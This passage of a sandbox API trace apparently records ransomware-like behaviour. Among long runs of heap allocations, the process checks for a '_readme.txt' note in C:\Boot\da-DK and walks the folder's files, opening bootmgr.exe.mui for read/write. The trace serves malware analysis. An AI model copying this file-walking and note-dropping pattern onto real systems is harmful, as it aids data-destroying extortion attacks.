lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.507] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.507] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.507] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.507] PathFindFileNameW (pszPath="") returned="" [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.507] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.507] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.507] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.508] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.508] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.508] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0059.508] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.508] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.508] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.508] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0059.508] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.508] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.509] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned=".txt" [0059.509] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.509] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.509] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.509] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 